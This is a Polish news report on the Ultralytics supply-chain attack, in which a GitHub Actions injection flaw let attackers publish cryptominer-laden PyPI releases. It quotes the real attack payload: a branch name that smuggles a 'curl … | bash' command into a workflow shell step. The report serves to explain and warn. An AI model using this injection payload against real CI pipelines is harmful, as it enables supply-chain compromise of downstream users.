Błąd w obsłudze GitHub Actions doprowadził do publikacji złośliwych wydań Ultralytics

Hakerzy zdołali uruchomić kod z uprawnieniami obsługi GitHub Actions w repozytorium biblioteki Python Ultralytics, używanej do zadań z zakresu widzenia komputerowego, takich jak wykrywanie obiektów na obrazach i segmentacja obrazów. Po uzyskaniu dostępu do repozytorium napastnicy opublikowali w katalogu PyPI kilka nowych wydań Ultralytics, zawierających złośliwe zmiany do kopania kryptowalut. W ciągu ostatniego miesiąca biblioteka Ultralytics była pobierana z katalogu PyPI ponad 6,4 miliona razy.

Do skompromitowania repozytorium wykorzystano lukę w pakiecie ultralytics-actions, stosowanym do automatycznego uruchamiania obsługi przy podejmowaniu określonych działań w repozytorium na GitHubie, przy użyciu mechanizmu GitHub Actions. W projekcie ultralytics wrażliwa obsługa była powiązana z zdarzeniem pull_request_target i była uruchamiana, gdy pojawiały się nowe pull requesty. W szczególności, do formatowania kodu w przesyłanych pull requestach wywoływana była obsługa format.yml i wykonywany był kod wskazany w sekcji „run” pliku action.yml, w którym znajdowały się polecenia shell z wzorcami podstawienia: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name „${{ inputs.github_username }}” git config —global user.email „${{ inputs.github_email }}”

W ten sposób do poleceń shell bez odpowiedniego eskapowania podstawiano nazwę gałęzi Git wspomnianą w pull request. Co ciekawe, w sierpniu w pakiecie ultralytics-actions już naprawiano podobną lukę, związaną z użyciem zewnętrznej wartości w funkcji echo: echo „github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}”

Aby przeprowadzić wykonanie swojego kodu w kontekście obsługi GitHub Actions, napastnicy wysłali pull request do repozytorium ultralytics, podając jako nazwę gałęzi: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

W związku z tym, przy przyjęciu pull requesta do kodu podstawiono zadaną przez napastników linię „$(…)”, która podczas kolejnego uruchomienia obsługi doprowadziła do wykonania kodu „curl -sSfL raw.githubusercontent.com/…/file.sh | bash”.

Błąd w obsłudze GitHub Actions doprowadził do publikacji złośliwych wydań Ultralytics

Uruchamianie kodu w kontekście GitHub Actions może być wykorzystane do przechwytywania tokenu dostępu do repozytorium oraz innych danych poufnych. Nie jest dokładnie jasne, w jaki sposób atakującym udało się utworzyć wydanie, uzyskując możliwość wykonania swojego kodu w GitHub Actions. Przypuszcza się, że przyczyniło się do tego zmodyfikowanie obsługi publish.yml (atakujący usunęli weryfikację konta, z którego dozwolone jest publikowanie wydań w PyPI) oraz zastosowanie techniki zatruwania pamięci podręcznej GitHub Actions do wstawienia swoich danych do wydania.

Pierwsze złośliwe wydanie Ultralytics 8.3.41 zostało opublikowane przez przestępców w katalogu PyPI 4 grudnia o 23:51 (MSK) i usunięte o 12:15 następnego dnia. O 15:47 opublikowano kolejne wydanie 8.3.42, które zostało usunięte o 16:47. W ten sposób złośliwe wersje były dostępne do pobrania przez około 13 godzin (w dniu w PyPI rejestrowanych jest około 250 tysięcy pobrań biblioteki ultralytics). W skład wydania 8.3.41 i 8.3.42 wchodził kod, który umożliwiał pobieranie z zewnętrznego serwera komponentu XMRig do wydobywania kryptowalut.

Programiści projektu naprawili problem i utworzyli poprawne wydania 8.3.43 i 8.3.44, jednak po dwóch dniach miała miejsce kolejna atak, w trakcie którego przestępcy opublikowali dzisiaj o 04:41 i 05:27 (MSK) dwa dodatkowe złośliwe wydania — 8.3.45 i 8.3.46, zawierające inny kod do wydobywania. Do końca dochodzenia użytkownikom zaleca się wstrzymanie się z instalacją nowych wersji i zatrzymanie w zależnościach wydania 8.3.44.

Źródło: opennet.ru

Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS 🔥 Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS | ProHoster